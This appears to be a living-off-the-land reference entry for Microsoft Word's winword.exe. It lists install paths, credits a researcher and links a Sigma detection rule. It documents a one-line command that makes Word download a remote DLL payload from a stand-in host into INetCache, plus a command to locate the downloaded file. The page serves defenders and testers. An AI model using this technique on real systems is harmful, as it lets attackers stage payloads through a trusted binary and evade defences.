.. /Winword.exe
Star

Download (INetCache)

Microsoft Office binary

Paths:

C:\Program Files\Microsoft Office\root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
C:\Program Files\Microsoft Office\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
C:\Program Files\Microsoft Office\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
C:\Program Files\Microsoft Office\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe

Resources:

Acknowledgements:

Reegun J (OCBC Bank) (@reegun21)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml
IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server
```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```
Use case
It will download a remote payload and place it in INetCache.

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1105

Tags
Download: INetCache
INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"